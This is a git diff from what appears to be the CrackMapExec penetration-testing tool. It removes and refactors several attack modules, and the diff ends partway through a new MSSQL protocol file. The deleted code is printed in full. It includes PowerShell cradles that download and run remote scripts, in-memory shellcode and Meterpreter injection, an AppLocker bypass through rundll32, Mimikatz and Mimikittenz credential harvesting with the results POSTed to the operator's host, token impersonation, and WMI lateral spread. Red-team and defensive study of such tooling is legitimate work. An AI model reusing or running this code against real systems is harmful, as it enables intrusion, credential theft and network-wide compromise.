diff --git a/cme/execmethods/__init__.py b/cme/modules/get_netgroupmember.py similarity index 100% rename from cme/execmethods/__init__.py rename to cme/modules/get_netgroupmember.py diff --git a/cme/modules/met_inject.py b/cme/modules/met_inject.py deleted file mode 100644 index cf3b6f58..00000000 --- a/cme/modules/met_inject.py +++ /dev/null @@ -1,90 +0,0 @@ -from cme.helpers import create_ps_command, obfs_ps_script, get_ps_script -from sys import exit - -class CMEModule: - ''' - Downloads the Meterpreter stager and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script - Module by @byt3bl33d3r - ''' - name = 'met_inject' - - description = "Downloads the Meterpreter stager and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script" - - chain_support = False - - def options(self, context, module_options): - ''' - LHOST IP hosting the handler - LPORT Handler port - PAYLOAD Payload to inject: reverse_http or reverse_https (default: reverse_https) - PROCID Process ID to inject into (default: current powershell process) - ''' - - if not 'LHOST' in module_options or not 'LPORT' in module_options: - context.log.error('LHOST and LPORT options are required!') - exit(1) - - self.met_payload = 'reverse_https' - self.lhost = None - self.lport = None - self.procid = None - - if 'PAYLOAD' in module_options: - self.met_payload = module_options['PAYLOAD'] - - if 'PROCID' in module_options: - self.procid = module_options['PROCID'] - - self.lhost = module_options['LHOST'] - self.lport = module_options['LPORT'] - - def launcher(self, context, command): - - #PowerSploit's 3.0 update removed the Meterpreter injection options in Invoke-Shellcode - #so now we have to manually generate a valid Meterpreter request URL and download + exec the staged shellcode - - launcher = """ - IEX (New-Object Net.WebClient).DownloadString('{}://{}:{}/Invoke-Shellcode.ps1') - $CharArray = 48..57 + 65..90 + 97..122 | ForEach-Object {{[Char]$_}} - $SumTest = $False - while ($SumTest -eq $False) - {{ - $GeneratedUri = $CharArray | Get-Random -Count 4 - $SumTest = (([int[]] $GeneratedUri | Measure-Object -Sum).Sum % 0x100 -eq 92) - }} - $RequestUri = -join $GeneratedUri - $Request = "{}://{}:{}/$($RequestUri)" - $WebClient = New-Object System.Net.WebClient - [Byte[]]$bytes = $WebClient.DownloadData($Request) - Invoke-Shellcode -Force -Shellcode $bytes""".format(context.server, - context.localip, - context.server_port, - 'http' if self.met_payload == 'reverse_http' else 'https', - self.lhost, - self.lport) - - if self.procid: - launcher += " -ProcessID {}".format(self.procid) - - return create_ps_command(launcher, force_ps32=True) - - def payload(self, context, command): - with open(get_ps_script('PowerSploit/CodeExecution/Invoke-Shellcode.ps1'), 'r') as ps_script: - return obfs_ps_script(ps_script.read()) - - def on_admin_login(self, context, connection, launcher, payload): - connection.execute(launcher) - context.log.success('Executed launcher') - - def on_request(self, context, request, launcher, payload): - if 'Invoke-Shellcode.ps1' == request.path[1:]: - request.send_response(200) - request.end_headers() - - request.wfile.write(payload) - - request.stop_tracking_host() - - else: - request.send_response(404) - request.end_headers() \ No newline at end of file diff --git a/cme/modules/mimikatz.py b/cme/modules/mimikatz.py index f5e56779..563e44dd 100644 --- a/cme/modules/mimikatz.py +++ b/cme/modules/mimikatz.py @@ -1,4 +1,7 @@ -from cme.helpers import create_ps_command, get_ps_script, obfs_ps_script, validate_ntlm, write_log +from cme.helpers.powershell import * +from cme.helpers.misc import validate_ntlm +from cme.helpers.logger import write_log +from StringIO import StringIO from datetime import datetime import re @@ -12,7 +15,7 @@ class CMEModule: description = "Executes PowerSploit's Invoke-Mimikatz.ps1 script" - chain_support = False + supported_protocols = ['mssql', 'smb'] def options(self, context, module_options): ''' @@ -26,39 +29,24 @@ class CMEModule: #context.log.debug("Mimikatz command: '{}'".format(self.mimikatz_command)) - def launcher(self, context, command): - launcher = ''' - IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-Mimikatz.ps1'); - $creds = Invoke-Mimikatz -Command '{command}'; - $request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/'); - $request.Method = 'POST'; - $request.ContentType = 'application/x-www-form-urlencoded'; - $bytes = [System.Text.Encoding]::ASCII.GetBytes($creds); - $request.ContentLength = $bytes.Length; - $requestStream = $request.GetRequestStream(); - $requestStream.Write( $bytes, 0, $bytes.Length ); - $requestStream.Close(); - $request.GetResponse();'''.format(server=context.server, - port=context.server_port, - addr=context.localip, - command=command) - - return create_ps_command(launcher) + def on_admin_login(self, context, connection): - def payload(self, context, command): - with open(get_ps_script('Invoke-Mimikatz.ps1'), 'r') as ps_script: - return obfs_ps_script(ps_script.read()) + command = "Invoke-Mimikatz -Command '{}'".format(self.command) + launcher = gen_ps_iex_cradle(context.server, context.localip, context.server_port, 'Invoke-Mimikatz.ps1', command) - def on_admin_login(self, context, connection, launcher, payload): - connection.execute(launcher) + ps_command = create_ps_command(launcher) + + connection.execute(ps_command) context.log.success('Executed launcher') - def on_request(self, context, request, launcher, payload): + def on_request(self, context, request): if 'Invoke-Mimikatz.ps1' == request.path[1:]: request.send_response(200) request.end_headers() - request.wfile.write(payload) + with open(get_ps_script('Invoke-Mimikatz.ps1'), 'r') as ps_script: + payload = obfs_ps_script(ps_script.read()) + request.wfile.write(payload) else: request.send_response(404) @@ -68,7 +56,7 @@ class CMEModule: """ uniquify mimikatz tuples based on the password cred format- (credType, domain, username, password, hostname, sid) - + Stolen from the Empire project. """ seen = set() @@ -113,7 +101,7 @@ class CMEModule: lines2 = match.split("\n") username, domain, password = "", "", "" - + for line in lines2: try: if "Username" in line: @@ -126,7 +114,7 @@ class CMEModule: pass if username != "" and password != "" and password != "(null)": - + sid = "" # substitute the FQDN in if it matches @@ -209,16 +197,14 @@ class CMEModule: if len(data): creds = self.parse_mimikatz(data) if len(creds): - context.log.success("Found credentials in Mimikatz output (domain\\username:password)") for cred_set in creds: credtype, domain, username, password,_,_ = cred_set - #Get the hostid from the DB hostid = context.db.get_hosts(response.client_address[0])[0][0] - context.db.add_credential(credtype, domain, username, password, hostid) - context.log.highlight('{}\\{}:{}'.format(domain, username, password)) + + context.log.success("Added {} credential(s) to the database".format(len(creds))) log_name = 'Mimikatz-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S")) write_log(data, log_name) - context.log.info("Saved Mimikatz's output to {}".format(log_name)) \ No newline at end of file + context.log.info("Saved raw Mimikatz output to {}".format(log_name)) diff --git a/cme/modules/mimikittenz.py b/cme/modules/mimikittenz.py deleted file mode 100644 index 4dc72344..00000000 --- a/cme/modules/mimikittenz.py +++ /dev/null @@ -1,79 +0,0 @@ -from cme.helpers import create_ps_command, obfs_ps_script, get_ps_script, write_log -from StringIO import StringIO -from datetime import datetime -from sys import exit - -class CMEModule: - ''' - Executes the Mimikittenz script - Module by @byt3bl33d3r - ''' - - name = 'mimikittenz' - - description = "Executes Mimikittenz" - - chain_support = False - - def options(self, context, module_options): - ''' - ''' - return - - def launcher(self, context, command): - launcher = ''' - IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-mimikittenz.ps1'); - $data = Invoke-Mimikittenz; - $request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/'); - $request.Method = 'POST'; - $request.ContentType = 'application/x-www-form-urlencoded'; - $bytes = [System.Text.Encoding]::ASCII.GetBytes($data); - $request.ContentLength = $bytes.Length; - $requestStream = $request.GetRequestStream(); - $requestStream.Write( $bytes, 0, $bytes.Length ); - $requestStream.Close(); - $request.GetResponse();'''.format(server=context.server, - port=context.server_port, - addr=context.localip) - - return create_ps_command(launcher) - - def payload(self, context, command): - with open(get_ps_script('mimikittenz/Invoke-mimikittenz.ps1'), 'r') as ps_script: - return obfs_ps_script(ps_script.read()) - - def on_admin_login(self, context, connection, launcher, payload): - connection.execute(launcher) - context.log.success('Executed launcher') - - def on_request(self, context, request, launcher, payload): - if 'Invoke-mimikittenz.ps1' == request.path[1:]: - request.send_response(200) - request.end_headers() - - request.wfile.write(payload) - - else: - request.send_response(404) - request.end_headers() - - def on_response(self, context, response): - response.send_response(200) - response.end_headers() - length = int(response.headers.getheader('content-length')) - data = response.rfile.read(length) - - #We've received the response, stop tracking this host - response.stop_tracking_host() - - if len(data): - def print_post_data(data): - buf = StringIO(data.strip()).readlines() - for line in buf: - context.log.highlight(line.strip()) - - print_post_data(data) - - log_name = 'MimiKittenz-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S")) - write_log(data, log_name) - context.log.info("Saved output to {}".format(log_name)) \ No newline at end of file diff --git a/cme/modules/pe_inject.py b/cme/modules/pe_inject.py deleted file mode 100644 index abc2b4b3..00000000 --- a/cme/modules/pe_inject.py +++ /dev/null @@ -1,86 +0,0 @@ -from cme.helpers import create_ps_command, obfs_ps_script, get_ps_script -from sys import exit -import os - -class CMEModule: - ''' - Downloads the specified DLL/EXE and injects it into memory using PowerSploit's Invoke-ReflectivePEInjection.ps1 script - Module by @byt3bl33d3r - ''' - name = 'pe_inject' - - description = "Downloads the specified DLL/EXE and injects it into memory using PowerSploit's Invoke-ReflectivePEInjection.ps1 script" - - chain_support = False - - def options(self, context, module_options): - ''' - PATH Path to dll/exe to inject - PROCID Process ID to inject into (default: current powershell process) - EXEARGS Arguments to pass to the executable being reflectively loaded (default: None) - ''' - - if not 'PATH' in module_options: - context.log.error('PATH option is required!') - exit(1) - - self.payload_path = os.path.expanduser(module_options['PATH']) - if not os.path.exists(self.payload_path): - context.log.error('Invalid path to EXE/DLL!') - exit(1) - - self.procid = None - self.exeargs = None - - if 'PROCID' in module_options: - self.procid = module_options['PROCID'] - - if 'EXEARGS' in module_options: - self.exeargs = module_options['EXEARGS'] - - def launcher(self, context, command): - launcher = """ - IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-ReflectivePEInjection.ps1'); - $WebClient = New-Object System.Net.WebClient; - [Byte[]]$bytes = $WebClient.DownloadData('{server}://{addr}:{port}/{pefile}'); - Invoke-ReflectivePEInjection -PEBytes $bytes""".format(server=context.server, - port=context.server_port, - addr=context.localip, - pefile=os.path.basename(self.payload_path)) - - if self.procid: - launcher += ' -ProcessID {}'.format(self.procid) - - if self.exeargs: - launcher += ' -ExeArgs "{}"'.format(self.exeargs) - - return create_ps_command(launcher, force_ps32=True) - - def payload(self, context, command): - with open(get_ps_script('PowerSploit/CodeExecution/Invoke-ReflectivePEInjection.ps1'), 'r') as ps_script: - return obfs_ps_script(ps_script.read()) - - def on_admin_login(self, context, connection, launcher, payload): - connection.execute(launcher) - context.log.success('Executed launcher') - - def on_request(self, context, request, launcher, payload): - if 'Invoke-ReflectivePEInjection.ps1' == request.path[1:]: - request.send_response(200) - request.end_headers() - - - request.wfile.write(launcher) - - elif os.path.basename(self.payload_path) == request.path[1:]: - request.send_response(200) - request.end_headers() - - request.stop_tracking_host() - - with open(self.payload_path, 'rb') as payload: - request.wfile.write(payload.read()) - - else: - request.send_response(404) - request.end_headers() \ No newline at end of file diff --git a/cme/modules/powerview.py b/cme/modules/powerview.py deleted file mode 100644 index 51b26700..00000000 --- a/cme/modules/powerview.py +++ /dev/null @@ -1,104 +0,0 @@ -from cme.helpers import create_ps_command, obfs_ps_script, get_ps_script, write_log -from StringIO import StringIO -from datetime import datetime -from sys import exit - -class CMEModule: - ''' - Wrapper for PowerView's functions - Module by @byt3bl33d3r - ''' - - name = 'powerview' - - description = "Wrapper for PowerView's functions" - - chain_support = False - - def options(self, context, module_options): - ''' - COMMAND Command to execute on the target system(s) (Required if CMDFILE isn't specified) - CMDFILE File contaning the command to execute on the target system(s) (Required if CMD isn't specified) - ''' - - if not 'COMMAND' in module_options and not 'CMDFILE' in module_options: - context.log.error('COMMAND or CMDFILE options are required!') - exit(1) - - if 'COMMAND' in module_options and 'CMDFILE' in module_options: - context.log.error('COMMAND and CMDFILE are mutually exclusive!') - exit(1) - - if 'COMMAND' in module_options: - self.command = module_options['COMMAND'] - - elif 'CMDFILE' in module_options: - path = os.path.expanduser(module_options['CMDFILE']) - - if not os.path.exists(path): - context.log.error('Path to CMDFILE invalid!') - exit(1) - - with open(path, 'r') as cmdfile: - self.command = cmdfile.read().strip() - - def launcher(self, context, command): - powah_command = command + ' | Out-String' - - launcher = ''' - IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/PowerView.ps1'); - $data = {command} - $request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/'); - $request.Method = 'POST'; - $request.ContentType = 'application/x-www-form-urlencoded'; - $bytes = [System.Text.Encoding]::ASCII.GetBytes($data); - $request.ContentLength = $bytes.Length; - $requestStream = $request.GetRequestStream(); - $requestStream.Write( $bytes, 0, $bytes.Length ); - $requestStream.Close(); - $request.GetResponse();'''.format(server=context.server, - port=context.server_port, - addr=context.localip, - command=powah_command) - - return create_ps_command(launcher) - - def payload(self, context, command): - with open(get_ps_script('PowerSploit/Recon/PowerView.ps1'), 'r') as ps_script: - return obfs_ps_script(ps_script.read()) - - def on_admin_login(self, context, connection, launcher, payload): - connection.execute(launcher, methods=['smbexec', 'atexec']) - context.log.success('Executed launcher') - - def on_request(self, context, request, launcher, payload): - if 'PowerView.ps1' == request.path[1:]: - request.send_response(200) - request.end_headers() - - request.wfile.write(payload) - - else: - request.send_response(404) - request.end_headers() - - def on_response(self, context, response): - response.send_response(200) - response.end_headers() - length = int(response.headers.getheader('content-length')) - data = response.rfile.read(length) - - #We've received the response, stop tracking this host - response.stop_tracking_host() - - if len(data): - def print_post_data(data): - buf = StringIO(data.strip()).readlines() - for line in buf: - context.log.highlight(line.strip()) - - print_post_data(data) - - log_name = 'PowerView-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S")) - write_log(data, log_name) - context.log.info("Saved output to {}".format(log_name)) \ No newline at end of file diff --git a/cme/modules/rundll32_exec.py b/cme/modules/rundll32_exec.py deleted file mode 100644 index e54c7925..00000000 --- a/cme/modules/rundll32_exec.py +++ /dev/null @@ -1,55 +0,0 @@ -class CMEModule: - ''' - AppLocker bypass using rundll32 and Windows native javascript interpreter - Module by @byt3bl33d3r - - ''' - - name = 'rundll32_exec' - - description = 'Executes a command using rundll32 and Windows\'s native javascript interpreter' - - #If the module supports chaining, change this to True - chain_support = True - - def options(self, context, module_options): - ''' - COMMAND Command to execute on the target system(s) (Required if CMDFILE isn't specified) - CMDFILE File contaning the command to execute on the target system(s) (Required if CMD isn't specified) - ''' - - if not 'COMMAND' in module_options and not 'CMDFILE' in module_options: - context.log.error('COMMAND or CMDFILE options are required!') - exit(1) - - if 'COMMAND' in module_options and 'CMDFILE' in module_options: - context.log.error('COMMAND and CMDFILE are mutually exclusive!') - exit(1) - - if 'COMMAND' in module_options: - self.command = module_options['COMMAND'] - - elif 'CMDFILE' in module_options: - path = os.path.expanduser(module_options['CMDFILE']) - - if not os.path.exists(path): - context.log.error('Path to CMDFILE invalid!') - exit(1) - - with open(path, 'r') as cmdfile: - self.command = cmdfile.read().strip() - - def launcher(self, context, command): - command = command.replace('\\', '\\\\') - command = command.replace('"', '\\"') - command = command.replace("'", "\\'") - - launcher = 'rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("{}");'.format(command) - return launcher - - def payload(self, context, command): - return - - def on_admin_login(self, context, connection, launcher, payload): - connection.execute(launcher) - context.log.success('Executed command') \ No newline at end of file diff --git a/cme/modules/shellcode_inject.py b/cme/modules/shellcode_inject.py deleted file mode 100644 index fed5f6e1..00000000 --- a/cme/modules/shellcode_inject.py +++ /dev/null @@ -1,78 +0,0 @@ -from cme.helpers import create_ps_command, obfs_ps_script, get_ps_script -from sys import exit -import os - -class CMEModule: - ''' - Downloads the specified raw shellcode and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script - Module by @byt3bl33d3r - ''' - name = 'shellcode_inject' - - description = "Downloads the specified raw shellcode and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script" - - chain_support = False - - def options(self, context, module_options): - ''' - PATH Path to the raw shellcode to inject - PROCID Process ID to inject into (default: current powershell process) - ''' - - if not 'PATH' in module_options: - context.log.error('PATH option is required!') - exit(1) - - self.shellcode_path = os.path.expanduser(module_options['PATH']) - if not os.path.exists(self.shellcode_path): - context.log.error('Invalid path to shellcode!') - exit(1) - - self.procid = None - - if 'PROCID' in module_options.keys(): - self.procid = module_options['PROCID'] - - def launcher(self, context, command): - launcher = """ - IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-Shellcode.ps1'); - $WebClient = New-Object System.Net.WebClient; - [Byte[]]$bytes = $WebClient.DownloadData('{server}://{addr}:{port}/{shellcode}'); - Invoke-Shellcode -Force -Shellcode $bytes""".format(server=context.server, - port=context.server_port, - addr=context.localip, - shellcode=os.path.basename(self.shellcode_path)) - - if self.procid: - launcher += ' -ProcessID {}'.format(self.procid) - - return create_ps_command(launcher, force_ps32=True) - - def payload(self, context, command): - with open(get_ps_script('Powersploit/CodeExecution/Invoke-Shellcode.ps1') ,'r') as ps_script: - return obfs_ps_script(ps_script.read()) - - def on_admin_login(self, context, connection, launcher, payload): - connection.execute(launcher) - context.log.success('Executed launcher') - - def on_request(self, context, request, launcher, payload): - if 'Invoke-Shellcode.ps1' == request.path[1:]: - request.send_response(200) - request.end_headers() - - request.wfile.write(payload) - - elif os.path.basename(self.shellcode_path) == request.path[1:]: - request.send_response(200) - request.end_headers() - - with open(self.shellcode_path, 'rb') as shellcode: - request.wfile.write(shellcode.read()) - - #Target has the shellcode, stop tracking the host - request.stop_tracking_host() - - else: - request.send_response(404) - request.end_headers() \ No newline at end of file diff --git a/cme/modules/token_rider.py b/cme/modules/token_rider.py deleted file mode 100644 index 7c39a69e..00000000 --- a/cme/modules/token_rider.py +++ /dev/null @@ -1,198 +0,0 @@ -from StringIO import StringIO -from cme.helpers import create_ps_command, obfs_ps_script, get_ps_script -from base64 import b64encode -import sys -import os - -class CMEModule: - - ''' - This module allows for automatic token enumeration, impersonation and mass lateral spread using privileges instead of dumped credentials: - - 1) Invoke-TokenManipulation.ps1 is downloaded in memory and tokens are enumerated - 2) If a token is found for the specified user, a new powershell process is created (with the impersonated tokens privs) - 3) The new powershell process downloads a second stage and the specified command is then excuted on all target machines via WMI. - - Module by @byt3bl33d3r - ''' - - name = 'token_rider' - - description = 'Allows for automatic token enumeration, impersonation and mass lateral spread using privileges instead of dumped credentials' - - chain_support = True - - def options(self, context, module_options): - ''' - TARGET Target machine(s) to execute the command on (comma seperated) - USER User to impersonate - DOMAIN Domain of the user to impersonate - COMMAND Command to execute on the target system(s) (Required if CMDFILE isn't specified) - CMDFILE File contaning the command to execute on the target system(s) (Required if CMD isn't specified) - ''' - - if not 'TARGET' in module_options or not 'USER' in module_options or not 'DOMAIN' in module_options: - context.log.error('TARGET, USER and DOMAIN options are required!') - sys.exit(1) - - if not 'COMMAND' in module_options and not 'CMDFILE' in module_options: - context.log.error('COMMAND or CMDFILE options are required!') - sys.exit(1) - - if 'COMMAND' in module_options and 'CMDFILE' in module_options: - context.log.error('COMMAND and CMDFILE are mutually exclusive!') - sys.exit(1) - - self.target_computers = '' - self.target_user = module_options['USER'] - self.target_domain = module_options['DOMAIN'] - - if 'COMMAND' in module_options: - self.command = module_options['COMMAND'] - - elif 'CMDFILE' in module_options: - path = os.path.expanduser(module_options['CMDFILE']) - - if not os.path.exists(path): - context.log.error('Path to CMDFILE invalid!') - sys.exit(1) - - with open(path, 'r') as cmdfile: - self.command = cmdfile.read().strip() - - targets = module_options['TARGET'].split(',') - for target in targets: - self.target_computers += '"{}",'.format(target) - self.target_computers = self.target_computers[:-1] - - #context.log.debug('Target system string: {}'.format(self.target_computers)) - - def launcher(self, context, command): - second_stage = ''' - [Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}}; - IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/TokenRider.ps1');'''.format(server=context.server, - addr=context.localip, - port=context.server_port) - context.log.debug(second_stage) - - #Main launcher - launcher = ''' - function Send-POSTRequest {{ - [CmdletBinding()] - Param ( - [string] $data - ) - $request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/'); - $request.Method = 'POST'; - $request.ContentType = 'application/x-www-form-urlencoded'; - $bytes = [System.Text.Encoding]::ASCII.GetBytes($data); - $request.ContentLength = $bytes.Length; - $requestStream = $request.GetRequestStream(); - $requestStream.Write( $bytes, 0, $bytes.Length ); - $requestStream.Close(); - $request.GetResponse(); - }} - - IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-TokenManipulation.ps1'); - $tokens = Invoke-TokenManipulation -Enum; - foreach ($token in $tokens){{ - if ($token.Domain -eq "{domain}" -and $token.Username -eq "{user}"){{ - - $token_desc = $token | Select-Object Domain, Username, ProcessId, IsElevated | Out-String; - $post_back = "Found token for user " + ($token.Domain + '\\' + $token.Username) + "! `n"; - $post_back = $post_back + $token_desc; - Send-POSTRequest $post_back - - Invoke-TokenManipulation -Username "{domain}\\{user}" -CreateProcess "cmd.exe" -ProcessArgs "/c powershell.exe -exec bypass -window hidden -noni -nop -encoded {second_stage}"; - return - }} - }} - - Send-POSTRequest "User token not present on system!"'''.format(second_stage=b64encode(second_stage.encode('UTF-16LE')), - server=context.server, - addr=context.localip, - port=context.server_port, - user=self.target_user, - domain=self.target_domain) - - return create_ps_command(launcher) - - def payload(self, context, command): - #This will get executed in the process that was created with the impersonated token - payload = ''' - [Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}}; - function Send-POSTRequest {{ - [CmdletBinding()] - Param ( - [string] $data - ) - $request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/'); - $request.Method = 'POST'; - $request.ContentType = 'application/x-www-form-urlencoded'; - $bytes = [System.Text.Encoding]::ASCII.GetBytes($data); - $request.ContentLength = $bytes.Length; - $requestStream = $request.GetRequestStream(); - $requestStream.Write( $bytes, 0, $bytes.Length ); - $requestStream.Close(); - $request.GetResponse(); - }} - - $post_output = ""; - $targets = @({targets}); - foreach ($target in $targets){{ - try{{ - Invoke-WmiMethod -Path Win32_process -Name create -ComputerName $target -ArgumentList "{command}"; - $post_output = $post_output + "Executed command on $target! `n"; - }} catch {{ - $post_output = $post_output + "Error executing command on $target $_.Exception.Message `n"; - }} - }} - Send-POSTRequest $post_output'''.format(server=context.server, - addr=context.localip, - port=context.server_port, - targets=self.target_computers, - command=command) - - return payload - - def on_admin_login(self, context, connection, launcher, payload): - connection.execute(launcher, methods=['smbexec', 'atexec']) - context.log.success('Executed launcher') - - def on_request(self, context, request, launcher, payload): - if 'Invoke-TokenManipulation.ps1' == request.path[1:]: - request.send_response(200) - request.end_headers() - - with open(get_ps_script('PowerSploit/Exfiltration/Invoke-TokenManipulation.ps1'), 'r') as ps_script: - ps_script = obfs_ps_script(ps_script.read()) - request.wfile.write(ps_script) - - elif 'TokenRider.ps1' == request.path[1:]: - request.send_response(200) - request.end_headers() - - #Command to execute on the target system(s) - request.wfile.write(payload) - - else: - request.send_response(404) - request.end_headers() - - def on_response(self, context, response): - response.send_response(200) - response.end_headers() - length = int(response.headers.getheader('content-length')) - data = str(response.rfile.read(length)) - - if len(data) > 0: - - if data.find('User token not present') != -1: - response.stop_tracking_host() - - elif data.find('Executed command') != -1 or data.find('Error executing') != -1: - response.stop_tracking_host() - - buf = StringIO(data.strip()).readlines() - for line in buf: - context.log.highlight(line.strip()) diff --git a/cme/modules/tokens.py b/cme/modules/tokens.py deleted file mode 100644 index f580ddf3..00000000 --- a/cme/modules/tokens.py +++ /dev/null @@ -1,118 +0,0 @@ -from cme.helpers import create_ps_command, obfs_ps_script, get_ps_script, write_log -from datetime import datetime -from StringIO import StringIO -import os -import sys - -class CMEModule: - ''' - Enumerates available tokens using Powersploit's Invoke-TokenManipulation - Module by @byt3bl33d3r - ''' - - name = 'tokens' - - description = "Enumerates available tokens using Powersploit's Invoke-TokenManipulation" - - chain_support = False - - def options(self, context, module_options): - ''' - USER Search for the specified username in available tokens (default: None) - USERFILE File containing usernames to search for in available tokens (defult: None) - ''' - - self.user = None - self.userfile = None - - if 'USER' in module_options and 'USERFILE' in module_options: - context.log.error('USER and USERFILE options are mutually exclusive!') - sys.exit(1) - - if 'USER' in module_options: - self.user = module_options['USER'] - - elif 'USERFILE' in module_options: - path = os.path.expanduser(module_options['USERFILE']) - - if not os.path.exists(path): - context.log.error('Path to USERFILE invalid!') - sys.exit(1) - - self.userfile = path - - def launcher(self, context, command): - launcher = ''' - IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-TokenManipulation.ps1'); - $creds = Invoke-TokenManipulation -Enumerate | Select-Object Domain, Username, ProcessId, IsElevated | Out-String; - $request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/'); - $request.Method = 'POST'; - $request.ContentType = 'application/x-www-form-urlencoded'; - $bytes = [System.Text.Encoding]::ASCII.GetBytes($creds); - $request.ContentLength = $bytes.Length; - $requestStream = $request.GetRequestStream(); - $requestStream.Write( $bytes, 0, $bytes.Length ); - $requestStream.Close(); - $request.GetResponse();'''.format(server=context.server, - port=context.server_port, - addr=context.localip) - - return create_ps_command(launcher) - - def payload(self, context, command): - with open(get_ps_script('PowerSploit/Exfiltration/Invoke-TokenManipulation.ps1'), 'r') as ps_script: - return obfs_ps_script(ps_script.read()) - - def on_admin_login(self, context, connection, launcher, payload): - connection.execute(launcher) - context.log.success('Executed launcher') - - def on_request(self, context, request, launcher, payload): - if 'Invoke-TokenManipulation.ps1' == request.path[1:]: - request.send_response(200) - request.end_headers() - - request.wfile.write(payload) - - else: - request.send_response(404) - request.end_headers() - - def on_response(self, context, response): - response.send_response(200) - response.end_headers() - length = int(response.headers.getheader('content-length')) - data = response.rfile.read(length) - - #We've received the response, stop tracking this host - response.stop_tracking_host() - - if len(data) > 0: - - def print_post_data(data): - buf = StringIO(data.strip()).readlines() - for line in buf: - context.log.highlight(line.strip()) - - context.log.success('Enumerated available tokens') - - if self.user: - if data.find(self.user) != -1: - context.log.success("Found token for user {}!".format(self.user)) - print_post_data(data) - - elif self.userfile: - with open(self.userfile, 'r') as userfile: - for user in userfile: - user = user.strip() - if data.find(user) != -1: - context.log.success("Found token for user {}!".format(user)) - print_post_data(data) - break - - else: - print_post_data(data) - - log_name = 'Tokens-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S")) - write_log(data, log_name) - context.log.info("Saved output to {}".format(log_name)) diff --git a/cme/msfrpc.py b/cme/msfrpc.py old mode 100644 new mode 100755 diff --git a/cme/mssql.py b/cme/mssql.py deleted file mode 100644 index f964ab67..00000000 --- a/cme/mssql.py +++ /dev/null @@ -1,55 +0,0 @@ -from impacket import tds -from impacket.tds import SQLErrorException, TDS_LOGINACK_TOKEN, TDS_ERROR_TOKEN, TDS_ENVCHANGE_TOKEN, TDS_INFO_TOKEN, \ - TDS_ENVCHANGE_VARCHAR, TDS_ENVCHANGE_DATABASE, TDS_ENVCHANGE_LANGUAGE, TDS_ENVCHANGE_CHARSET, TDS_ENVCHANGE_PACKETSIZE - -#We hook these functions in the tds library to use CME's logger instead of printing the output to stdout -#The whole tds library in impacket needs a good overhaul to preserve my sanity - -def printRowsCME(self): - if self.lastError is True: - return - out = '' - self.processColMeta() - #self.printColumnsHeader() - for row in self.rows: - for col in self.colMeta: - if row[col['Name']] != 'NULL': - out += col['Format'] % row[col['Name']] + self.COL_SEPARATOR + '\n' - - return out - -def printRepliesCME(self): - for keys in self.replies.keys(): - for i, key in enumerate(self.replies[keys]): - if key['TokenType'] == TDS_ERROR_TOKEN: - error = "ERROR(%s): Line %d: %s" % (key['ServerName'].decode('utf-16le'), key['LineNumber'], key['MsgText'].decode('utf-16le')) - self.lastError = SQLErrorException("ERROR: Line %d: %s" % (key['LineNumber'], key['MsgText'].decode('utf-16le'))) - self._MSSQL__rowsPrinter.error(error) - - elif key['TokenType'] == TDS_INFO_TOKEN: - self._MSSQL__rowsPrinter.info("INFO(%s): Line %d: %s" % (key['ServerName'].decode('utf-16le'), key['LineNumber'], key['MsgText'].decode('utf-16le'))) - - elif key['TokenType'] == TDS_LOGINACK_TOKEN: - self._MSSQL__rowsPrinter.info("ACK: Result: %s - %s (%d%d %d%d) " % (key['Interface'], key['ProgName'].decode('utf-16le'), key['MajorVer'], key['MinorVer'], key['BuildNumHi'], key['BuildNumLow'])) - - elif key['TokenType'] == TDS_ENVCHANGE_TOKEN: - if key['Type'] in (TDS_ENVCHANGE_DATABASE, TDS_ENVCHANGE_LANGUAGE, TDS_ENVCHANGE_CHARSET, TDS_ENVCHANGE_PACKETSIZE): - record = TDS_ENVCHANGE_VARCHAR(key['Data']) - if record['OldValue'] == '': - record['OldValue'] = 'None'.encode('utf-16le') - elif record['NewValue'] == '': - record['NewValue'] = 'None'.encode('utf-16le') - if key['Type'] == TDS_ENVCHANGE_DATABASE: - _type = 'DATABASE' - elif key['Type'] == TDS_ENVCHANGE_LANGUAGE: - _type = 'LANGUAGE' - elif key['Type'] == TDS_ENVCHANGE_CHARSET: - _type = 'CHARSET' - elif key['Type'] == TDS_ENVCHANGE_PACKETSIZE: - _type = 'PACKETSIZE' - else: - _type = "%d" % key['Type'] - self._MSSQL__rowsPrinter.info("ENVCHANGE(%s): Old Value: %s, New Value: %s" % (_type,record['OldValue'].decode('utf-16le'), record['NewValue'].decode('utf-16le'))) - -tds.MSSQL.printReplies = printRepliesCME -tds.MSSQL.printRows = printRowsCME \ No newline at end of file diff --git a/cme/spider/__init__.py b/cme/protocols/__init__.py old mode 100644 new mode 100755 similarity index 100% rename from cme/spider/__init__.py rename to cme/protocols/__init__.py diff --git a/cme/protocols/mssql.py b/cme/protocols/mssql.py new file mode 100755 index 00000000..25ff8f6c --- /dev/null +++ b/cme/protocols/mssql.py @@ -0,0 +1,244 @@ +import socket +import logging +from cme.logger import CMEAdapter +from StringIO import StringIO +from 